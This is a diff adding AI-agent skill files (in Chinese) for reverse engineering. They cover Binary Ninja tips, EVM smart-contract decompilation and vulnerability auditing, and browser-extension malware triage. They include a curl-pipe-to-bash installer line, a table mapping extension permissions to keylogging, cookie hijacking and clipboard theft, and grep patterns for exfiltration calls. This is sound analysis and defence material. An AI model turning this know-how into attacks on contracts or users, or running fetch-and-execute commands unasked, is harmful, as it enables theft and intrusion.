- **无 headless 自动化**:headless 是商业版能力(无 `binaryninja-headless` CLI——正路是 `install_api.py` 注册后脚本 `binaryninja.load()`,headless license 用官方独立下载包),个人版用 GUI 内 `File > Python` 面板跑脚本
|
||||
- **自动化频次/规模限制**:个人版对脚本自动化(批量跑、无头操作)有使用限制,license 条款约束个人用途——批量任务先评估是否超限,超限用 [[re-ghidra]] analyzeHeadless(免费)替代
|
||||
- **商业版功能裁剪**:部分插件要求商业版;`Options > About` 确认 license 类型,别在个人版上排查商业功能故障
|
||||
|
||||
## 分析质量坑
|
||||
|
||||
- **MLIL 对混淆失真**:花指令/控制流平坦化破坏数据流重建——反编译出现死代码/恒假条件时降 LLIL/汇编核对,或先 [[re-deobfuscate]]
|
||||
- **大二进制首次分析慢**:100MB+ 样本默认分析 pass 全开可达数分钟——`Options > Analysis` 按需关 pass,或对重点函数用 `f.analysis_skip_override` 思路做局部分析
|
||||
- **带壳样本直接分析=假结果**:壳区不解密,函数识别乱——先 [[re-packer-id]] / [[re-anti-analysis]] 脱壳再导入
|
||||
- **无头模式分析不自动跑**:`binaryninja.load()` 后必须 `update_analysis_and_wait()`——GUI 自动分析,无头不自动,忘了这行所有结果都是空的
|
||||
|
||||
## 插件与路径坑
|
||||
|
||||
- **macOS 插件目录特殊**:`~/Library/Application Support/Binary Ninja/plugins`——不是 `~/.binaryninja/plugins`(Linux 才是),放错位置插件不加载
|
||||
- **Windows 插件目录**:`%APPDATA%\Binary Ninja\plugins`——不要放安装目录下(权限/升级覆盖问题)
|
||||
- **cask 安装的 macOS 版**:`brew install --cask binary-ninja` 安装的是 GUI 应用,Python API 仍需在应用目录跑 `install_api.py` 注册到你的 Python 环境
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 全部在沙箱内执行([[re-analyze/platform-tips]] 最高原则);脚本触发动态执行默认沙箱内
|
||||
- 换栈(Ghidra/IDA ↔ BN)无工程互导格式——标注靠脚本统一命名规范,或按函数手搬
|
||||
- 版本相关行为以 `Options > About` 与 `core_version()` 实际值为准
|
||||
147
vendor-new/rev-skills/.claude/skills/re-blockchain/SKILL.md
Normal file
147
vendor-new/rev-skills/.claude/skills/re-blockchain/SKILL.md
Normal file
@@ -0,0 +1,147 @@
|
||||
---
|
||||
name: re-blockchain
|
||||
description: >
|
||||
EVM 智能合约逆向:字节码反编译、漏洞分析。
|
||||
触发词:智能合约、EVM、Solidity、字节码、合约漏洞、ABI、Solana、Move、BPF
|
||||
capabilities: [blockchain-analysis]
|
||||
---
|
||||
|
||||
# EVM 智能合约逆向(cast / panoramix / web3.py)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到合约字节码(链上地址或 .bin/.hex 文件)要还原逻辑——ABI 恢复、反编译、存储布局重建
|
||||
- 用:合约漏洞分析(重入/整数溢出/权限)或漏洞利用前的审计定位
|
||||
- 用:恶意合约/代币诈骗合约取证(链上数据获取、只读拉取)
|
||||
- 不用:Solidity 源码可得且未混淆——直接读源码更准(审计思路同 [[re-vuln]]),本技能面向无源码/仅字节码
|
||||
- 不用:本节未覆盖的非 EVM 链(如 WASM 系链,指令集不同);WASM 走 [[re-wasm]]
|
||||
- 注意:链上交互以只读为主(`cast call`/`cast code`/`cast storage`);任何写链/部署/动态验证默认本地 anvil 或隔离网络([[re-analyze/platform-tips]] 沙箱最高原则);合约分析基本静态,按「静态优先」执行
|
||||
|
||||
## 工具准备
|
||||
|
||||
### python3 —— 脚本化分析基础
|
||||
|
||||
- Linux: `apt install python3` / `dnf install python3` / `pacman -S python`
|
||||
- macOS: `brew install python3`;Windows: `choco install python`
|
||||
- 验证: `python3 --version`(本技能脚本均为 Python 3)
|
||||
|
||||
### cast(foundry)—— 链上交互/字节码/存储主力
|
||||
|
||||
- 官方安装器(全平台,装到 `~/.foundry/bin`,含 forge/cast/anvil/chisel): `curl -L https://foundry.paradigm.xyz | bash && foundryup`
|
||||
- macOS: `brew install foundry`(官方 Homebrew formula,含四件套)
|
||||
- Arch: 官方仓库**无** foundry——用 AUR `foundry-bin`(`yay -S foundry-bin` 等);**注意 `pacman -S foundry` 是无关的 GNOME Builder 工具包,别装错**;Debian/Ubuntu/Fedora 无官方包——用官方安装器
|
||||
- 验证: `cast --version && anvil --version`
|
||||
|
||||
### web3.py(pip,Python >=3.10)—— 脚本化链上分析
|
||||
|
||||
- `pip install web3`(官方 PyPI;当前 8.x 要求 **Python >=3.10**,PyPI `requires-python` 为 `<4,>=3.10`——7.x 才支持 3.8。Python 3.8/3.9 环境需 pin 7.x)
|
||||
- 验证: `python3 -c "import web3; print(web3.__version__)"`
|
||||
|
||||
### panoramix(pip,Python 3.9–3.11)—— EVM 反编译器(disasm→流程)
|
||||
|
||||
- `pip install panoramix-decompiler`(官方 PyPI 0.6.x,要求 Python 3.9–3.11);维护更活跃的 fork 为 `panoramix-decompiler-abi`,两者都提供 `panoramix` 命令
|
||||
- 验证: `panoramix --help`(或 `python3 -m panoramix --help`)
|
||||
- 用法: 直接传原始字节码 `panoramix <hex> --abi` 反编译;传合约地址则需 `WEB3_PROVIDER_URI` 环境变量(从链上拉字节码);输出伪码 `.pan`/反汇编 `.asm` 写到 cache 目录
|
||||
|
||||
### pyevmasm(pip,Python 3)—— EVM 反汇编
|
||||
|
||||
- `pip install pyevmasm`(官方 PyPI);验证: `pyevmasm -d 0x6001600101` 输出指令行
|
||||
- 备选: `cast disassemble <hex>`(foundry 自带,同一用途)
|
||||
|
||||
### hevm / echidna(可选,形式化/模糊验证)
|
||||
|
||||
- echidna: GitHub releases 预编译二进制(crytic/echidna)或 `cargo install --locked echidna`(官方仓库无发行版包;Arch 有 AUR 包);验证: `echidna --version`
|
||||
- hevm: GitHub releases(ethereum/hevm)或 cargo 构建;验证: `hevm --version`
|
||||
- 均为可选——先跑完步骤 1-5 的静态分析,需要行为验证再上
|
||||
|
||||
### solc / solc-select(可选)—— 存储布局对照
|
||||
|
||||
- `pip install solc-select`(Python 3)+ `solc-select install 0.8.28`(官方 PyPI/编译产物下载);或 solc-bin 官方二进制(Linux x86 静态包)
|
||||
- 验证: `solc --version`
|
||||
- 无源码合约不需要;用于"拿到同源码编译产物"时对照权威 storage layout(坑 2)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(字节码/选择器表/伪码/asm)存档 sha256 + 路径([[re-ioc]] 证据链)。
|
||||
|
||||
1. **合约字节码获取(链上/文件)**:
|
||||
```sh
|
||||
# 链上(RPC 节点;公开 RPC 或自有节点)
|
||||
cast code 0xDEAD... --rpc-url https://eth.llamarpc.com > code.hex
|
||||
# 文件(.bin/.hex 文本或二进制)
|
||||
xxd -r -p code.hex > code.bin && file code.bin && xxd code.bin | head -2
|
||||
sha256sum code.bin > code.sha256
|
||||
```
|
||||
- 区分 **creation code**(含 initcode + runtime,前面是部署逻辑)与 **runtime code**(纯业务逻辑,首指令常 `0x6080...` PUSH1 0x80 分配内存)——Etherscan 的 Bytecode 页是 creation、Deployed Bytecode 页是 runtime;分析业务逻辑用 runtime
|
||||
- 链上数据获取纪律:`cast call`/`cast code`/`cast storage` 只读安全;写链/交易类操作默认本地 `anvil` 起测试链
|
||||
|
||||
2. **ABI 恢复(函数选择器/签名)**:
|
||||
```sh
|
||||
# 从字节码提取 PUSH4 选择器常量(4 字节 = keccak256(signature)[:4])
|
||||
cast disassemble "$(cat code.hex)" | grep -E 'PUSH4' | awk '{print $NF}' | sort -u > selectors.txt
|
||||
# 对照签名库(4byte.directory / etherface 在线服务)
|
||||
while read s; do echo -n "$s "; cast 4byte "$s"; done < selectors.txt
|
||||
# 已知签名本地计算(签名必须规范化,见坑 1)
|
||||
cast sig "transfer(address,uint256)"
|
||||
cast sig "balanceOf(address)"
|
||||
```
|
||||
- 事件 topic 同理:日志 topic0(前 32 字节)= keccak256(事件签名),对 etherface/4byte 查询
|
||||
- 候选签名多时用参数长度(CALLDATASIZE 比较)、回退逻辑、存储访问模式消歧(坑 1)
|
||||
|
||||
3. **反编译(panoramix 思路:disasm→流程)**:
|
||||
```sh
|
||||
panoramix "$(cat code.hex)" --abi > contract.pan # 伪码(可读性优先)
|
||||
cast disassemble "$(cat code.hex)" > contract.asm # 精确指令流(交叉验证真值)
|
||||
# 按地址反编译(需节点): WEB3_PROVIDER_URI=<rpc> panoramix 0xDEAD...
|
||||
```
|
||||
- 工作流:disasm(指令级真值)→ 函数边界定位(分派表:`PUSH4 sel EQ PUSH2 off JUMPI` 模式,位于字节码开头 ~0x00-0x1f 区域)→ 伪码粗读 → 关键函数回 asm 精读
|
||||
- 输出粗糙是常态(坑 4),一切反编译结论以 asm 交叉验证
|
||||
|
||||
4. **逻辑还原(存储布局/状态变量)**:
|
||||
```sh
|
||||
# 链上存储读取(状态变量从 slot 0 起、每槽 32 字节)
|
||||
cast storage 0xDEAD... 0 --rpc-url <rpc>
|
||||
cast storage 0xDEAD... 1 --rpc-url <rpc>
|
||||
# 动态数组/映射槽位 = keccak256 派生(见坑 2 公式)
|
||||
cast call 0xDEAD... "owner()(address)" --rpc-url <rpc> # 公开变量 getter
|
||||
# 无源码:从反编译的 SSTORE/SLOAD 常量与 getter 推断语义
|
||||
grep -E 'SSTORE|SLOAD' contract.asm | head
|
||||
```
|
||||
- 布局规则:继承按 C3 线性化合并不变式、每变量 32 字节(`bool/uint8/address` 等可同槽打包)、动态数组 `slot = keccak256(slot_index)`、mapping `slot = keccak256(key ++ slot_index)`;有源码时 `solc --storage-layout` 出权威 JSON 对照
|
||||
- 与 ABI getter 交叉验证:公开状态变量自动生成 getter,`cast call` 结果反推变量类型与槽位
|
||||
|
||||
5. **漏洞分析(重入/整数溢出/权限)**:
|
||||
```sh
|
||||
grep -cE 'CALL|DELEGATECALL|CALLCODE' contract.asm # 外部调用面(重入/交互边界)
|
||||
grep -E 'ADD|MUL|SUB' contract.asm | head # 算术运算(<0.8 无内置溢出检查)
|
||||
grep -E 'CALLER' contract.asm | head # 调用者检查(onlyOwner 权限)
|
||||
```
|
||||
- 重入:外部调用(CALL 到用户可控地址)之后才改状态(SSTORE 顺序在 CALL 之后)——检查 effects 是否在 interactions 之前
|
||||
- 溢出:Solidity <0.8 无内置检查——看 ADD/MUL 后是否有溢出分支;0.8+ 找 `unchecked` 块
|
||||
- 权限:CALLER 与 owner 槽比较模式;owner 槽可写/无检查即任意调用(只有构造函数初始化 owner 是常见权缺失)
|
||||
- 可选行为验证:echidna 属性测试(不变量/重入/溢出模式)、hevm 符号执行、`anvil` 本地复现攻击序列
|
||||
- 结论纪律:漏洞判定需"路径可达"证据(调用链 + 状态条件),仅指令模式是弱信号(坑 4)
|
||||
|
||||
## 非 EVM 链(Solana / Move)
|
||||
|
||||
流程与 EVM 同构(字节码反编译 → 漏洞分析),指令集与资源模型不同——先识别运行时,再按对应路径走。
|
||||
|
||||
- **Solana(BPF 字节码)**:识别特征——ELF 文件 + .text 段为 BPF 指令(eBPF 类指令集);反编译路径——`llvm-objdump -d`(BPF 反汇编)或专用反编译器;分析重点——程序账户与指令调度(CPI 跨程序调用链)、账户数据布局(结构体偏移)
|
||||
- **Sui / Aptos(Move 字节码)**:识别特征——模块/资源/函数表结构;反编译——move disassembler(`move disassemble`);分析重点——资源模型(对象/能力)对漏洞面的影响(转账/所有权逻辑)、模块依赖图
|
||||
- **DeFi/NFT 场景**:池子合约(AMM 常量积公式)、代币标准变体(SPL 等)、授权与提现逻辑定位
|
||||
- 漏洞分析承接:逻辑漏洞(重入/权限)沿用 EVM 思路,资源/账户模型差异处单独判断
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]]:本网关「识别运行时」识别到 EVM 字节码(.bin/hex)后固定调用本技能(合约字节码是"托管字节码"分支)
|
||||
- [[re-vuln]]:合约漏洞与漏洞挖掘网关衔接——echidna 的覆盖引导/语料思路同 [[re-fuzzing]],断言崩溃分析思路同 [[re-crash-triage]];漏洞报告结构一致(入口/条件/影响/修复)
|
||||
- 链上数据获取:cast/web3.py 经 RPC 只读(公开 RPC、自有节点、Etherscan API);写链与动态验证默认本地 anvil(隔离网络)
|
||||
- [[re-wasm]]:非 EVM 的 Wasm 合约/链上 Wasm 模块(同域不同指令集)
|
||||
- 引用 [[re-analyze/platform-tips]] 静态优先(大型样本)与沙箱隔离分支(写链/动态验证隔离)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **选择器碰撞**:现象——`cast 4byte` 返回多个候选签名,或按猜的签名 `cast call` 解析失败/结果错位;原因——选择器是 keccak256(signature) 前 4 字节,碰撞存在(恶意变体/已知碰撞案例),且大量签名未入库;对策——`cast sig` 只对规范化签名成立(参数间无空格、`uint256` 不写 `uint`、地址小写完整),候选签名用 CALLDATASIZE 比较(参数长度分派)、回退逻辑(fallback 处理)、存储访问模式消歧;最终以完整签名 keccak256 比对确认
|
||||
- **存储布局 vs 源码映射难**:现象——无源码合约按"声明顺序=槽位顺序"推断出错,读出的值类型对不上/混槽;原因——布局受编译器版本、优化开关、继承顺序(C3)、结构体/数组打包规则影响,无源码时没有权威映射;对策——有源码: `solc --storage-layout` 出 JSON 对照(编译器版本要一致);无源码: 从反编译的 SSTORE 常量 + getter 行为 + 值大小推断类型,标注置信度不硬猜;动态数组/mapping 槽位按 keccak256 公式算(步骤 4),别线性加一
|
||||
- **代理合约(delegatecall 逻辑在别处)**:现象——主合约反编译只有 fallback + delegatecall 转发,找不到任何业务逻辑;原因——升级代理模式(EIP-1967 等)把逻辑放实现合约:主合约只存实现地址并 delegatecall,状态变量布局在主合约、代码在实现合约(布局冲突本身是经典漏洞);对策——先查 EIP-1967 实现槽: `cast storage <addr> 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc --rpc-url <rpc>`(管理员槽 `0xb53127684a568b3173ae13bae8d486943e0793e1d5dccd29778a66c42e1c39d`),非标准代理从反编译定位 SLOAD 常量槽位读实现地址;再 `cast code <实现地址>` 分析实现;实现地址可变=可升级,结论标注读取时点
|
||||
- **反编译工具输出粗糙需手工**:现象——panoramix 伪码缺变量名/类型/存储语义,函数边界错位,误以为合约逻辑混乱或遗漏关键分支;原因——EVM 无类型无符号表,符号执行/启发式反编译丢信息,现代 Solidity 优化产物(ABIEncoderV2、优化器)结构复杂;对策——伪码只当"粗读地图",关键函数回 `cast disassemble` 指令级精读(分派表定位 → 逐指令语义 → 存储/调用模式);多工具交叉(panoramix + cast disasm + echidna 行为验证);结论标注置信度与验证方式
|
||||
119
vendor-new/rev-skills/.claude/skills/re-browser-ext/SKILL.md
Normal file
119
vendor-new/rev-skills/.claude/skills/re-browser-ext/SKILL.md
Normal file
@@ -0,0 +1,119 @@
|
||||
---
|
||||
name: re-browser-ext
|
||||
type: atomic
|
||||
description: >
|
||||
浏览器扩展逆向:权限清单、恶意行为定位、混淆还原、上架审查绕过面。
|
||||
触发词:浏览器扩展、Chrome扩展、Firefox扩展、恶意扩展、extension。
|
||||
capabilities: [browser-extension]
|
||||
---
|
||||
|
||||
# 浏览器扩展逆向
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:扩展文件(crx/xpi/zip)、恶意扩展行为分析、扩展权限审计
|
||||
- 用:判断扩展是否过度授权、远程代码、更新投毒(首版干净后续版本恶意)
|
||||
- 不用:网页 JS 混淆([[re-script-deob]] 覆盖纯脚本)
|
||||
- 不用:Chrome/Edge 浏览器本身的漏洞利用(扩展与浏览器漏洞是两个对象)
|
||||
- 注意:动态加载扩展跑恶意行为属执行未知代码——沙箱内进行([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则)
|
||||
|
||||
## 工具准备
|
||||
|
||||
### unzip / 7z / python zipfile(解包)
|
||||
|
||||
- 安装与验证见 [[re-doc-malware]] 工具准备(7z)
|
||||
- crx = "Cr24" 头(版本号 + 头长度;crx2 含公钥与签名、crx3 含 protobuf 头与 proof)+ 尾部 zip 数据——`unzip`/`7z` 直接解包会报 `extra bytes at beginning` 警告但结果正确;`python3 -m zipfile -e sample.crx ext/` 无警告
|
||||
- xpi 就是纯 zip,直接解
|
||||
|
||||
### jq(manifest 解析)
|
||||
|
||||
- Linux: `apt install jq`;macOS: `brew install jq`;Windows: 官方构建
|
||||
- 验证: `jq --version`
|
||||
|
||||
### node / js-beautify(脚本还原)
|
||||
|
||||
- Linux: `apt install nodejs`;macOS: `brew install node`;Windows: nodejs.org 官方安装包;验证: `node --version`
|
||||
- js-beautify: `npm install -g js-beautify`,验证 `js-beautify --version`(压缩 JS 先格式化再读)
|
||||
|
||||
### 浏览器加载验证(动态,沙箱)
|
||||
|
||||
- Chromium 系: `chrome://extensions` 开发者模式 → Load unpacked;Edge 同(`edge://extensions`)
|
||||
- Firefox: `about:debugging#/runtime/this-firefox` → Load Temporary Add-on(免签名临时加载)
|
||||
- 验证: 扩展出现在扩展列表、后台脚本/页面能打开
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物存档(路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **解包与结构**:
|
||||
```sh
|
||||
unzip -o sample.crx -d ext/ 2>/dev/null || python3 -m zipfile -e sample.crx ext/
|
||||
jq '.manifest_version, .name, .version' ext/manifest.json
|
||||
jq '.permissions, .host_permissions' ext/manifest.json
|
||||
# host_permissions 为 MV3 字段;MV2 站点权限在 permissions 内(含 URL 匹配模式)
|
||||
```
|
||||
- 结构:manifest.json + 背景脚本(MV3 service worker / MV2 background page)+ 内容脚本(content_scripts)+ 页面(options/popup)+ 资源(web_accessible_resources)
|
||||
- 先确认 `manifest_version`(2 还是 3)——MV2/MV3 的权限模型与能力差异决定后续所有判断(见 [[gotchas]])
|
||||
- 其他关键字段:`update_url`(自托管更新清单,投毒面)、`key`(扩展 ID 派生)、`externally_connectable`(外部页面消息通道)、`oauth2`(令牌)、`optional_permissions`(运行时再要权)、`minimum_chrome_version`(兼容边界)
|
||||
- 次要结构:`_locales/`(i18n 消息,可藏字符串)、`icons/`、`options_page` / `options_ui`、`commands`(快捷键,触发行为入口)、`incognito`(隐身窗口行为声明)
|
||||
|
||||
2. **权限审计(能力边界)**:
|
||||
- 高危 API 权限:`tabs`(读标签页 URL/标题)、`storage`(数据收集缓存)、`webRequest`(流量观察;MV3 阻断能力仅企业策略部署例外,一般改走 `declarativeNetRequest`)、`scripting`(MV3 动态注入)、`clipboardRead`(剪贴板)、`cookies`(读站点 Cookie)、`history`、`downloads`、`nativeMessaging`(与宿主程序通信)、`debugger`
|
||||
- 站点权限(host_permissions / MV2 permissions 内 URL 模式)决定能碰哪些网站的数据——`<all_urls>` 或 `*://*/*` 是高危信号
|
||||
- 权限与声明用途对照:装了 `storage`+`tabs`+`<all_urls>` 但功能只是改主题——越权信号
|
||||
- 权限风险速查(声明即能力,不必看代码):
|
||||
|
||||
| 权限 | 能力 | 恶意用途 |
|
||||
|---|---|---|
|
||||
| `tabs` + `<all_urls>` | 读标签页 URL/标题 | 浏览习惯收集 |
|
||||
| `storage` | 本地持久化 | 收集数据缓存/配置下发 |
|
||||
| `webRequest` / `declarativeNetRequest` | 流量观察/规则修改 | 监控、注入、拦截 |
|
||||
| `scripting` / `content_scripts` | 页面注入 | 键盘记录、表单窃取 |
|
||||
| `clipboardRead` | 读剪贴板 | 剪贴板内容窃取(如钱包地址) |
|
||||
| `cookies` | 读/写站点 Cookie | 会话劫持 |
|
||||
| `nativeMessaging` | 与宿主程序通信 | 落地可执行/外带数据 |
|
||||
| `downloads` | 读写下载 | 下载投毒/篡改下载文件 |
|
||||
|
||||
3. **恶意行为定位**:
|
||||
- 数据外泄:fetch/XHR/`navigator.sendBeacon`、图片像素外传(`new Image().src`)、`chrome.storage` 收集后批量上传([[re-netcap]] 衔接)
|
||||
- 注入面:content_scripts 匹配站点、动态注入(MV3 `chrome.scripting.executeScript`;MV2 `tabs.executeScript`)、`web_accessible_resources` 开放页面供第三方站点调用
|
||||
- 键盘记录:content script 监听 keydown/input 并外传——搜索 `addEventListener('keydown'` 与 `value` 读取
|
||||
- 触发时机:`chrome.runtime.onInstalled` / `onStartup`(安装/启动即跑)、`chrome.alarms` / `setInterval`(定时任务)、`chrome.runtime.onMessage`(消息驱动)——按触发点还原调用链,别只看顶层代码
|
||||
- 后台脚本是核心:MV3 的 service worker / MV2 的 background page;MV3 service worker 空闲约 30 秒被终止、事件唤醒——状态在 `chrome.storage` 或 IndexedDB 落地,别在全局变量里找持久状态
|
||||
|
||||
4. **混淆还原**:
|
||||
- 衔接 [[re-script-deob]] 高级混淆对抗(bootstrap/字符串表/CFF);压缩代码先 js-beautify 再读
|
||||
- 远程代码:MV2 允许远程 JS(`eval`/动态加载);MV3 禁止远程代码(所有代码必须打包)——MV3 里出现远程拉取 = 审查绕过信号,重点标记
|
||||
- 二进制载荷:Wasm/ArrayBuffer 下载后分析(转 [[re-binary-core]] 初勘)
|
||||
- 字符串定位:`grep -rniE 'http|sendBeacon|fetch|XMLHttpRequest|chrome\.' ext/` 扫全包;i18n 字符串在 `_locales/*/messages.json`(消息外衣下藏真实 URL 常见)
|
||||
|
||||
5. **更新机制与版本投毒**:
|
||||
- Chrome 系:`update_url` 自托管更新清单(XML 指向新 crx)是投毒入口;商店自动更新同理
|
||||
- 版本对比:拉旧版本扩展与当前版本做 diff(文件清单/哈希/manifest/脚本),定位"何时引入恶意"([[re-variant]] 思路)
|
||||
- 变更归因:diff 结果按文件归类(manifest 权限变化 / 新增脚本 / 存量脚本改写),权限在更新中扩大是投毒信号
|
||||
- Firefox:更新只经 AMO 渠道,`update_url` 不生效——投毒面不同
|
||||
|
||||
6. **动态验证**(沙箱):
|
||||
- 加载到浏览器(工具准备),配好代理/抓包([[re-netcap]]),触发功能看网络与存储变化
|
||||
- 分上下文分析:background / content script / 扩展页面 三套隔离上下文,API 调用点按上下文定位(坑 4)
|
||||
- 扩展页面/弹窗可直接开 DevTools(`chrome-extension://<id>/` 页面 F12)——配合断点看 service worker 内全局状态与网络调用
|
||||
- 行为记录与 [[re-ioc]] 指标提取(C2 域名、命令格式)衔接
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]] 网关:本技能归属(选择树「浏览器扩展」分支)
|
||||
- [[re-script-deob]]:混淆还原
|
||||
- [[re-netcap]]:网络行为衔接(外传/远程拉取)
|
||||
- [[re-variant]]:扩展版本对比(更新后恶意检测)
|
||||
- [[re-triage]]:解包物哈希/初勘存证
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **manifest 版本差异**:现象——MV2 分析思路套 MV3 失效;原因——权限模型不同(MV3 禁远程代码/后台改 service worker);对策——先确认 manifest_version,按版本分支分析(见 [[gotchas]])
|
||||
- **远程代码策略**:现象——静态找不到恶意逻辑;原因——代码远程拉取(MV2);对策——网络侧抓取([[re-netcap]])后还原
|
||||
- **动态注入绕过静态分析**:现象——content_scripts 无恶意但行为异常;原因——运行时注入;对策——hook 注入 API(scripting.executeScript / tabs.executeScript)
|
||||
- **沙箱与页面隔离**:现象——扩展 API 调用点难定位;原因——扩展上下文与页面上下文隔离;对策——分上下文分析(background/content/page),按 API 归属判断在哪个上下文执行
|
||||
- **更新后恶意**:现象——首版干净;原因——版本更新注入恶意;对策——版本 diff([[re-variant]])
|
||||
- **service worker 状态丢失**:现象——MV3 后台脚本里找不到持久数据;原因——service worker 空闲被终止,状态在存储层;对策——查 `chrome.storage`/IndexedDB 落地数据
|
||||
- **Firefox MV3 差异**:现象——manifest 写了 `background.service_worker` 但 Firefox 里后台不跑;原因——Firefox MV3 不支持 service_worker 字段,用 `background.scripts` 事件页;对策——双字段写法(Chrome 用 service_worker、Firefox 用 scripts)按浏览器分别验证
|
||||
- 更多 MV2/MV3 差异、crx 格式细节与审查绕过边界见 [[gotchas]] 与 [[decision-tree]]
|
||||
@@ -0,0 +1,89 @@
|
||||
# 浏览器扩展分析决策树与证据分级
|
||||
|
||||
## 场景决策树(入口 → 分支)
|
||||
|
||||
### 1. 包格式判定(第一级)
|
||||
|
||||
```
|
||||
扩展文件
|
||||
├─ "Cr24" 头 → CRX(Chromium 系)
|
||||
│ ├─ 版本号 2 → crx2(旧;Chrome 78 起不再支持安装,分析照常解包)
|
||||
│ └─ 版本号 3 → crx3(当前标准,带 protobuf 头 + proof 签名)
|
||||
├─ 纯 zip 无 Cr24 → 可能是 xpi(Firefox)或未打包目录压缩包
|
||||
│ └─ 解包后看 manifest.json 是否存在
|
||||
└─ 既非 Cr24 也非 zip → 不是标准扩展包,回 [[re-triage]] 重新识别
|
||||
```
|
||||
|
||||
- 扩展目录(未打包)也可直接分析:manifest.json + 脚本文件与打包后内容一致
|
||||
- crx2/crx3 头都只是前缀,zip 数据从尾部偏移开始——`unzip` 报 `extra bytes` 警告即正常解包信号
|
||||
|
||||
### 2. manifest 版本分支(第二级)
|
||||
|
||||
```
|
||||
manifest_version
|
||||
├─ 3(MV3)
|
||||
│ ├─ 后台: background.service_worker(Chrome);Firefox 用 background.scripts
|
||||
│ ├─ 远程代码: 禁止——出现远程拉取 = 审查绕过信号
|
||||
│ ├─ 站点权限: host_permissions 独立字段
|
||||
│ └─ 流量修改: declarativeNetRequest(webRequest 阻断仅企业策略例外)
|
||||
├─ 2(MV2)
|
||||
│ ├─ 后台: background.page 常驻页面
|
||||
│ ├─ 远程代码: 允许(eval/动态加载)——远程拉取是常见投毒手法
|
||||
│ ├─ 站点权限: 混在 permissions 里(URL 匹配模式)
|
||||
│ └─ 流量修改: webRequest blocking
|
||||
└─ 缺失/非法 → manifest 损坏或伪造,标注异常
|
||||
```
|
||||
|
||||
### 3. 行为定位分支(第三级)
|
||||
|
||||
```
|
||||
静态读完 manifest + 脚本后
|
||||
├─ 有网络外传代码(fetch/XHR/sendBeacon/Image.src)
|
||||
│ └─ 目标地址静态可判定 → [[re-ioc]] 指标提取
|
||||
│ └─ 目标地址动态生成/远程拉取 → 网络侧抓取([[re-netcap]])→ 沙箱动态
|
||||
├─ 有注入能力(content_scripts/scripting.executeScript/动态脚本标签)
|
||||
│ ├─ 注入代码内嵌 → 静态还原([[re-script-deob]])
|
||||
│ └─ 注入代码远程 → 动态加载抓包还原
|
||||
├─ 有敏感数据收集(tabs/storage/cookies/keydown 监听/clipboard)
|
||||
│ ├─ 收集量小且本地上送 → 重点标记外传目标
|
||||
│ └─ 收集 + 批量上传 → 高可疑
|
||||
├─ 有 update_url 自托管更新 → 拉历史版本 diff([[re-variant]])定位投毒点
|
||||
├─ 有 nativeMessaging → 查宿主清单文件(manifest 外)与宿主程序
|
||||
└─ 静态全干净 → 沙箱动态加载,观察网络/存储/权限调用
|
||||
```
|
||||
|
||||
### 4. 动态阶段分支
|
||||
|
||||
```
|
||||
沙箱加载扩展
|
||||
├─ 网络有异常外传 → 抓包 → 还原数据格式 → 指标提取
|
||||
├─ 无外传但 storage 有写入 → 查看存储内容,找外传触发条件(交互/定时/特定站点)
|
||||
├─ 只在特定站点触发 → 用目标站点模拟访问,观察 content script 行为
|
||||
└─ 全程无行为 → 检查触发条件:用户交互、权限授予弹窗、未匹配 host 权限
|
||||
```
|
||||
|
||||
## 证据分级表
|
||||
|
||||
| 级别 | 证据形态 | 示例 | 用途 |
|
||||
|---|---|---|---|
|
||||
| A 强 | 动态行为 + 网络侧闭合 | 沙箱内观察到数据外传,抓包与静态代码目标一致 | 可下"恶意"结论 |
|
||||
| B 中 | 静态代码链闭合 | 代码明文收集并上传、manifest 越权声明成立 | 可下"高可疑" |
|
||||
| C 弱 | 静态特征 | 只有高危权限声明、混淆程度高 | 只支持"需深入",不下结论 |
|
||||
| 反证 | 良性解释 | 权限用途与功能相符、无外传代码 | 记录并存档 |
|
||||
|
||||
- 恶意扩展常"首版干净、更新投毒":单版本结论需标注版本范围(哪个版本起恶意),版本链对比是必要环节
|
||||
- 结论同时标注浏览器族(Chromium/Firefox)——同一扩展两平台行为可不同(Firefox 无 service_worker、AMO 渠道更新)
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 先定 MV 版本再定分析框架:MV2/MV3 的权限语义、远程代码合法性、流量修改 API 完全不同,交叉套用必然误判
|
||||
- 静态定位要区分"数据流向":收集(读 API)→ 汇聚(storage)→ 外传(网络)三段,各段都要有落点
|
||||
- 远程代码是 MV3 里最强的恶意信号,但 MV2 里是合法能力——同一特征在不同 MV 版本下证据强度不同
|
||||
- 更新投毒检测靠版本 diff,不是靠单版本分析:保留文件清单/哈希基线,新版本逐文件对比
|
||||
- 动态验证前先静态读完 manifest 权限——决定沙箱里哪些 API 调用会被权限弹窗拦下,避免误判"无行为"
|
||||
- 证据链记录:文件 sha256、manifest 原文、外传目标、触发条件(哪个上下文/哪个事件)
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 动态加载与触发在沙箱内进行([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则);扩展与浏览器同权限运行,隔离不当等于执行恶意代码
|
||||
- 分析结论按本表分级标注;权限审计结论(越权/过度授权)与恶意结论分开陈述
|
||||
@@ -0,0 +1,35 @@
|
||||
# 浏览器扩展分析方法论坑与边界
|
||||
|
||||
## MV2 / MV3 差异组(最容易踩)
|
||||
|
||||
- **权限字段语义不同**:MV3 站点权限独立在 `host_permissions`,MV2 混在 `permissions` 内(URL 匹配模式)——只读一个字段会漏判一半权限边界
|
||||
- **远程代码合法性相反**:MV2 允许远程 JS(动态加载/`eval`),MV3 一律禁止(所有代码必须打包随扩展分发)——"远程拉取代码"在 MV2 是常见能力、在 MV3 是审查绕过信号,证据强度随版本不同
|
||||
- **后台形态不同**:MV2 是常驻 background page;MV3 是 service worker——MV3 worker 空闲约 30 秒被终止、事件唤醒,**全局变量状态丢失**;持久状态必然落在 `chrome.storage`/IndexedDB,静态分析别在全局变量里找持久数据
|
||||
